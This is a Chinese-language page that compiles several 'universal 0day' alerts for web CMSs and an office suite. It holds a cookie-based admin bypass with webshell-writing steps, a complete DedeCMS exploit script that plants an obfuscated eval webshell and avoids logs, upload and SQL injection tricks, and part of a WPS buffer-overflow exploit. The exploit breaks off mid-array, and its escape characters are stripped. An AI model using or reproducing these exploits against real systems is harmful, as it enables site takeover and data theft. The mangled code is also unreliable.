“LJO”通过精心收集，向本站投稿了8篇搜一次cms php 通杀漏洞预警，下面是小编为大家整理后的搜一次cms php 通杀漏洞预警，仅供大家参考借鉴，希望大家喜欢!
篇1：搜一次cms php 通杀漏洞预警
From：90sec
漏洞文件 admin 目录下的 admin_loginstate.php
看代码
if(empty($_COOKIE['S_AdminID'])){
echo “”;
exit;
}
elseif($_COOKIE['S_Login']!=md5($_COOKIE['S_AdminID'].$_COOKIE['S_AdminUserName'].$_COOKIE['S_AdminPassWord'].$_COOKIE['S_Permission'])){
echo “”;
}
?>
很简单的看出来是 cookie验证 我们直接禁止JS可直接进后台
进后台后简单的说下拿shell的方法
/admin/admin_template.php?action=templist&path=../skins//&tempname=默认模版&file=qingshen.php90
直接访问这个url 然后写个一句话就可以了 目录当然是在 /skins// 目录下的
篇2：dede5.5 通杀 ODAY漏洞预警
官方暂时没出补丁,不过我估计快了 执行成功会在在data/cache下生成t.php一句话小马密码t, 官方最新GBK和utf-8版本存在此漏洞, 此exp得特点是生产t.php得时候不留日志 ?php print_r(' +----------------------------------------+ dedecms v5.5 final getwebs
官方暂时没出补丁,不过我估计快了
执行成功会在在data/cache下生成t.php一句话小马密码t,
官方最新GBK和utf-8版本存在此漏洞,
此exp得特点是生产t.php得时候不留日志
print_r('
+----------------------------------------+
dedecms v5.5 final getwebshell exploit
+----------------------------------------+
');
if ($argc < 3) {
print_r('
+----------------------------------------+
Usage: php '.$argv[0].' host path
host: target server (ip/hostname)
path: path to dedecms
Example:
php '.$argv[0].' localhost /dedecms/
+----------------------------------------+
');
exit;
}
error_reporting(7);
ini_set('max_execution_time', 0);
$host = $argv[1];
$path = $argv[2];
$post_a = 'plus/digg_ajax.php?id=1024e1024&*/fputs(fopen(chr(46).chr(46).chr(47).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(116).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(39).chr(116).chr(39).chr(93).chr(41).chr(59).chr(63).chr(62));/*';
$post_b = 'needCode=aa/../../../data/mysql_error_trace';
$shell = 'data/cache/t.php';
get_send($post_a);
post_send('plus/comments_frame.php',$post_b);
$content = post_send($shell,'t=echo tojen;');
if(substr($content,9,3)=='200'){
echo “nShell Address is:”.$host.$path.$shell;
}else{
echo “nError.”;
}
function get_send($url){
global $host, $path;
$message = “GET ”.$path.“$url HTTP/1.1rn”;
$message .= “Accept: */*rn”;
$message .= “Referer: $host$pathrn”;
$message .= “Accept-Language: zh-cnrn”;
$message .= “Content-Type: application/x-www-form-urlencodedrn”;
$message .= “User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)rn”;
$message .= “Host: $hostrn”;
$message .= “Connection: Closernrn”;
$fp = fsockopen($host, 80);
if(!$fp){
echo “nConnect to host Error”;
}
fputs($fp, $message);
$back = '';
while (!feof($fp))
$back .= fread($fp, 1024);
fclose($fp);
return $back;
}
function post_send($url,$cmd){
global $host, $path;
$message = “POST ”.$path.“$url HTTP/1.1rn”;
$message .= “Accept: */*rn”;
$message .= “Referer: $host$pathrn”;
$message .= “Accept-Language: zh-cnrn”;
$message .= “Content-Type: application/x-www-form-urlencodedrn”;
$message .= “User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)rn”;
$message .= “Host: $hostrn”;
$message .= “Content-Length: ”.strlen($cmd).“rn”;
$message .= “Connection: Closernrn”;
$message .= $cmd;
$fp = fsockopen($host, 80);
if(!$fp){
echo “nConnect to host Error”;
}
fputs($fp, $message);
$back = '';
while (!feof($fp))
$back .= fread($fp, 1024);
fclose($fp);
return $back;
}
?>
篇3：Ybcms 通杀0day及修复漏洞预警
百度上没搜到，顺手发下吧
FCKEDITOR的上传漏洞：fck/editor/filemanager/connectors/test.html
上传.asa;jpg
没有TEST.HTML的，保存下面EXP.自己填上网址
FCKeditor - Connectors Tests
Connector:
ASP
/fck/editor/filemanager/connectors/aspx/connector.asp“>ASP.Net
ColdFusion
Lasso
Perl
/fck/editor/filemanager/connectors/php/connector.php”>PHP
Python
Current Folder
Resource Type
File
Image
Flash
Media
Invalid Type (for testing)
Get Folders
Get Folders and Files
Create Folder
File Upload
URL:
篇4：Discuz2.x3.x鸡肋通杀注入漏洞漏洞预警
首先说明这个东西价值不大，测试通杀2.x-3.x，以下的版本没看，具体的利用方法本人也没去研究，顶多mysql有file权限的时候可以getshell，当然discuz还是有不少地方有问题的，这个不能说，。。
问题出在文件uc_clientmodelbase.php 的function note_exists函数
1function note_exists() { $noteexists = $this->db->fetch_first(“SELECT value FROM ”.UC_DBTABLEPRE.“vars WHERE name='noteexists”.UC_APPID.“'”); if(empty($noteexists)) { returnFALSE; } else { return TRUE; } }
标红的UC_DBTABLEPRE 常量是从configconfig_ucenter.php 文件读取出来的
标红的UC_DBTABLEPRE 常量是从configconfig_ucenter.php 文件读取出来的
而这个东西是可控的，
在后台站长->UCenter设置
更新一次，表前缀成功写入文件后，下一次更新的时候会调用note_exists函数，于是就触发了漏洞。
篇5：金山软件wps通杀0day漏洞预警
CVE-2013-3934-1-1024x705
CVE-2013-3934-2-1024x430
提供一下py
#!/usr/bin/python
# Exploit Title: Kingsoft Office Writer v2012 8.1.0.3385 .wps Buffer Overflow Exploit (SEH)
# Version: 2012 8.1.0.3385
# Date: 2013-11-27
# Author: Julien Ahrens (@MrTuxracer)
# Homepage: www.rcesecurity.com
# Software Link: www.kingsoftstore.com
# Tested on: WinXP-GER, Win7-GER, Win8-EN
#
# Credits for vulnerability discovery:
# Kaveh Ghaemmaghami (www.securityfocus.com/bid/61796)
#
# Howto / Notes:
# This scripts creates a .wps file which exploits the vulnerability described in
# CVE-2013-3934 and bypasses SafeSEH protection
from struct import pack
file=“exploit.wps”
head=(“xD0xCFx11xE0xA1xB1x1AxE1x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x3Ex00x03x00xFExFFx09x00”+
“x06x00x00x00x00x00x00x00x00x00x00x00x01x00x00x00”+
“x01x00x00x00x00x00x00x00x00x10x00x00x02x00x00x00”+
“x01x00x00x00xFExFFxFFxFFx00x00x00x00x00x00x00x00”+
“xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“xFDxFFxFFxFFx05x00x00x00xFExFFxFFxFFx04x00x00x00”+
“x06x00x00x00xFExFFxFFxFFx07x00x00x00x08x00x00x00”+
“x09x00x00x00x0Ax00x00x00x0Bx00x00x00x0Cx00x00x00”+
“x0Dx00x00x00x0Ex00x00x00x0Fx00x00x00x10x00x00x00”+
“x11x00x00x00x12x00x00x00x13x00x00x00xFExFFxFFxFF”+
“xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“x52x00x6Fx00x6Fx00x74x00x20x00x45x00x6Ex00x74x00”+
“x72x00x79x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x16x00x05x00xFFxFFxFFxFFxFFxFFxFFxFFx01x00x00x00”+
“x06x09x02x00x00x00x30x4BxA9x77xD2x14x85x20x36xFE”+
“x00x00x00x00x00x00x00x00x00x00x00x00x60x53x8Ex7F”+
“x5CxE9xCEx01x03x00x00x00x40x1Ex00x00x00x00x00x00”+
“x05x00x53x00x75x00x6Dx00x6Dx00x61x00x72x00x79x00”+
“x49x00x6Ex00x66x00x6Fx00x72x00x6Dx00x61x00x74x00”+
“x69x00x6Fx00x6Ex00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x28x00x02x01x04x00x00x00x02x00x00x00xFFxFFxFFxFF”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x02x00x00x00x00x00x00”+
“x05x00x44x00x6Fx00x63x00x75x00x6Dx00x65x00x6Ex00”+
“x74x00x53x00x75x00x6Dx00x6Dx00x61x00x72x00x79x00”+
“x49x00x6Ex00x66x00x6Fx00x72x00x6Dx00x61x00x74x00”+
“x69x00x6Fx00x6Ex00x00x00x00x00x00x00x00x00x00x00”+
“x38x00x02x01xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x08x00x00x00xF0x01x00x00x00x00x00x00”+
“x57x00x6Fx00x72x00x64x00x44x00x6Fx00x63x00x75x00”+
“x6Dx00x65x00x6Ex00x74x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x1Ax00x02x00xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x10x00x00x00x2Fx0Ex00x00x00x00x00x00”+
“x01x00x00x00x02x00x00x00x03x00x00x00x04x00x00x00”+
“x05x00x00x00x06x00x00x00x07x00x00x00xFExFFxFFxFF”+
“x09x00x00x00x0Ax00x00x00x0Bx00x00x00x0Cx00x00x00”+
“x0Dx00x00x00x0Ex00x00x00x0Fx00x00x00xFExFFxFFxFF”+
“x11x00x00x00x12x00x00x00x13x00x00x00x14x00x00x00”+
“x15x00x00x00x16x00x00x00x17x00x00x00x18x00x00x00”+
“x19x00x00x00x1Ax00x00x00x1Bx00x00x00x1Cx00x00x00”+
“x1Dx00x00x00x1Ex00x00x00x1Fx00x00x00x20x00x00x00”+
“x21x00x00x00x22x00x00x00x23x00x00x00x24x00x00x00”+
“x25x00x00x00x26x00x00x00x27x00x00x00x28x00x00x00”+
“x29x00x00x00x2Ax00x00x00x2Bx00x00x00x2Cx00x00x00”+
“x2Dx00x00x00x2Ex00x00x00x2Fx00x00x00x30x00x00x00”+
“x31x00x00x00x32x00x00x00x33x00x00x00x34x00x00x00”+
“x35x00x00x00x36x00x00x00x37x00x00x00x38x00x00x00”+
“x39x00x00x00x3Ax00x00x00x3Bx00x00x00x3Cx00x00x00”+
“x3Dx00x00x00x3Ex00x00x00x3Fx00x00x00x40x00x00x00”+
“x41x00x00x00x42x00x00x00x43x00x00x00x44x00x00x00”+
“x45x00x00x00x46x00x00x00x47x00x00x00x48x00x00x00”+
“xFExFFxFFxFFx4Ax00x00x00x4Bx00x00x00x4Cx00x00x00”+
“x4Dx00x00x00x4Ex00x00x00x4Fx00x00x00x50x00x00x00”+
“x51x00x00x00x52x00x00x00x53x00x00x00x54x00x00x00”+
“x55x00x00x00x56x00x00x00x57x00x00x00x58x00x00x00”+
“x59x00x00x00x5Ax00x00x00x5Bx00x00x00x5Cx00x00x00”+
“x5Dx00x00x00x5Ex00x00x00x5Fx00x00x00x60x00x00x00”+
“x61x00x00x00x62x00x00x00x63x00x00x00x64x00x00x00”+
“x65x00x00x00x66x00x00x00x67x00x00x00x68x00x00x00”+
“x69x00x00x00x6Ax00x00x00x6Bx00x00x00x6Cx00x00x00”+
“x6Dx00x00x00x6Ex00x00x00x6Fx00x00x00x70x00x00x00”+
“x71x00x00x00x72x00x00x00x73x00x00x00x74x00x00x00”+
“x75x00x00x00x76x00x00x00x77x00x00x00x78x00x00x00”+
“xFExFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“xFExFFx00x00x05x01x02x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x01x00x00x00xE0x85x9FxF2”+
“xF9x4Fx68x10xABx91x08x00x2Bx27xB3xD9x30x00x00x00”+
“xD0x01x00x00x12x00x00x00x01x00x00x00xA0x00x00x00”+
“x00x00x00x80xA8x00x00x00x02x00x00x00xB0x00x00x00”+
“x03x00x00x00xC4x00x00x00x04x00x00x00xD0x00x00x00”+
“x05x00x00x00xF4x00x00x00x06x00x00x00x00x01x00x00”+
“x07x00x00x00x0Cx01x00x00x08x00x00x00x2Cx01x00x00”+
“x09x00x00x00x4Cx01x00x00x0Cx00x00x00x58x01x00x00”+
“x0Dx00x00x00x64x01x00x00x0Bx00x00x00x70x01x00x00”+
“x0Ex00x00x00x7Cx01x00x00x0Fx00x00x00x84x01x00x00”+
“x10x00x00x00x8Cx01x00x00x12x00x00x00x94x01x00x00”+
“x13x00x00x00xC8x01x00x00x00x00x00x00x00x00x00x00”+
“x02x00x00x00xB0x04x00x00x13x00x00x00x07x04x00x00”+
“x1Fx00x00x00x05x00x00x00x74x00x65x00x73x00x74x00”+
“x00x00x00x00x1Fx00x00x00x01x00x00x00x00x00x00x00”+
“x1Fx00x00x00x0Ex00x00x00x41x00x64x00x6Dx00x69x00”+
“x6Ex00x69x00x73x00x74x00x72x00x61x00x74x00x6Fx00”+
“x72x00x00x00x1Fx00x00x00x01x00x00x00x00x00x00x00”+
“x1Fx00x00x00x01x00x00x00x00x00x00x00x1Fx00x00x00”+
“x0Bx00x00x00x4Ex00x6Fx00x72x00x6Dx00x61x00x6Cx00”+
“x2Ex00x77x00x70x00x74x00x00x00x00x00x1Fx00x00x00”+
“x0Bx00x00x00x7Ax00x68x00x61x00x6Ex00x67x00x71x00”+
“x69x00x61x00x6Ex00x67x00x00x00x00x00x1Fx00x00x00”+
“x02x00x00x00x33x00x00x00x40x00x00x00x00x0Ax6Ex92”+
“x1DxEDxCAx01x40x00x00x00x00x50x29x7Fx5CxE9xCEx01”+
“x40x00x00x00x00xC0x0CxA9xA9x35x4Fx01x03x00x00x00”+
“x01x00x00x00x03x00x00x00x00x00x00x00x03x00x00x00”+
“x00x00x00x00x1Fx00x00x00x16x00x00x00x4Dx00x69x00”+
“x63x00x72x00x6Fx00x73x00x6Fx00x66x00x74x00x20x00”+
“x4Fx00x66x00x66x00x69x00x63x00x65x00x20x00x57x00”+
“x6Fx00x72x00x64x00x00x00x03x00x00x00x00x00x00x00”+
“xFExFFx00x00x05x01x02x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x02x00x00x00x02xD5xCDxD5”+
“x9Cx2Ex1Bx10x93x97x08x00x2Bx2CxF9xAEx44x00x00x00”+
“x05xD5xCDxD5x9Cx2Ex1Bx10x93x97x08x00x2Bx2CxF9xAE”+
“x5Cx01x00x00x18x01x00x00x10x00x00x00x01x00x00x00”+
“x88x00x00x00x00x00x00x80x90x00x00x00x0Fx00x00x00”+
“x98x00x00x00x02x00x00x00xA4x00x00x00x0Ex00x00x00”+
“xB0x00x00x00x06x00x00x00xBCx00x00x00x05x00x00x00”+
“xC4x00x00x00x11x00x00x00xCCx00x00x00x03x00x00x00”+
“xD4x00x00x00x04x00x00x00xE0x00x00x00x07x00x00x00”+
“xE8x00x00x00x08x00x00x00xF0x00x00x00x09x00x00x00”+
“xF8x00x00x00x0Ax00x00x00x00x01x00x00x0Bx00x00x00”+
“x08x01x00x00x10x00x00x00x10x01x00x00x02x00x00x00”+
“xB0x04x00x00x13x00x00x00x07x04x00x00x1Fx00x00x00”+
“x01x00x00x00x00x00x00x00x1Fx00x00x00x01x00x00x00”+
“x00x00x00x00x1Fx00x00x00x01x00x00x00x00x00x00x00”+
“x03x00x00x00x01x00x00x00x03x00x00x00x01x00x00x00”+
“x03x00x00x00x00x00x00x00x1Fx00x00x00x01x00x00x00”+
“x00x00x00x00x03x00x00x00x00x00x00x00x03x00x00x00”+
“x00x00x00x00x03x00x00x00x00x00x00x00x03x00x00x00”+
“x00x00x00x00x03x00x00x00x00x00x00x00x0Bx00x00x00”+
“x00x00x00x00x0Bx00x00x00x00x00x00x00x94x00x00x00”+
“x04x00x00x00x00x00x00x00x28x00x00x00x01x00x00x00”+
“x5Cx00x00x00x00x00x00x80x64x00x00x00x02x00x00x00”+
“x6Cx00x00x00x01x00x00x00x02x00x00x00x13x00x00x00”+
“x4Bx00x53x00x4Fx00x50x00x72x00x6Fx00x64x00x75x00”+
“x63x00x74x00x42x00x75x00x69x00x6Cx00x64x00x56x00”+
“x65x00x72x00x00x00x00x00x02x00x00x00xB0x04x00x00”+
“x13x00x00x00x07x04x00x00x1Fx00x00x00x10x00x00x00”+
“x31x00x30x00x33x00x33x00x2Dx00x38x00x2Ex00x31x00”+
“x2Ex00x30x00x2Ex00x33x00x33x00x38x00x35x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x30x00x54x00x61x00x62x00x6Cx00x65x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x0Ex00x02x01x05x00x00x00x03x00x00x00xFFxFFxFFxFF”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x49x00x00x00xEAx0Bx00x00x00x00x00x00”+
“x44x00x61x00x74x00x61x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x0Ax00x02x00xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00xFExFFxFFxFFx00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“xECxA5xC1x00x89x88x09x04x00x00x14x50xBFx00x00x00”+
“x00x00x00x10x00x00x00x00x00x08x00x00x0Ax08x00x00”+
“x0Ex00x4Bx53x4Bx53xC3x00x08x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x04x08x16x00”+
“x2Fx0Ex00x00x00x00x00x00x00x00x00x00x05x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00xFFxFFx0Fx00”+
“x00x00x00x00x00x00x00x00xFFxFFx0Fx00x00x00x00x00”+
“x00x00x00x00xFFxFFx0Fx00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00xA4x00x00x00x00x00xD2x04”+
“x00x00x00x00x00x00xD2x04x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x1Dx0Bx00x00x14x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00xD2x04x00x00x0Cx00”+
“x00x00xDEx04x00x00x0Cx00x00x00x00x00x00x00x00x00”+
“x00x00xFFx04x00x00x1Ex03x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00xE8x0Bx00x00x02x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00xF9x0Ax00x00x24x00”+
“x00x00x91x08x00x00x68x02x00x00x1Dx08x00x00x74x00”+
“x00x00xEAx04x00x00x15x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x31x0Bx00x00xB7x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
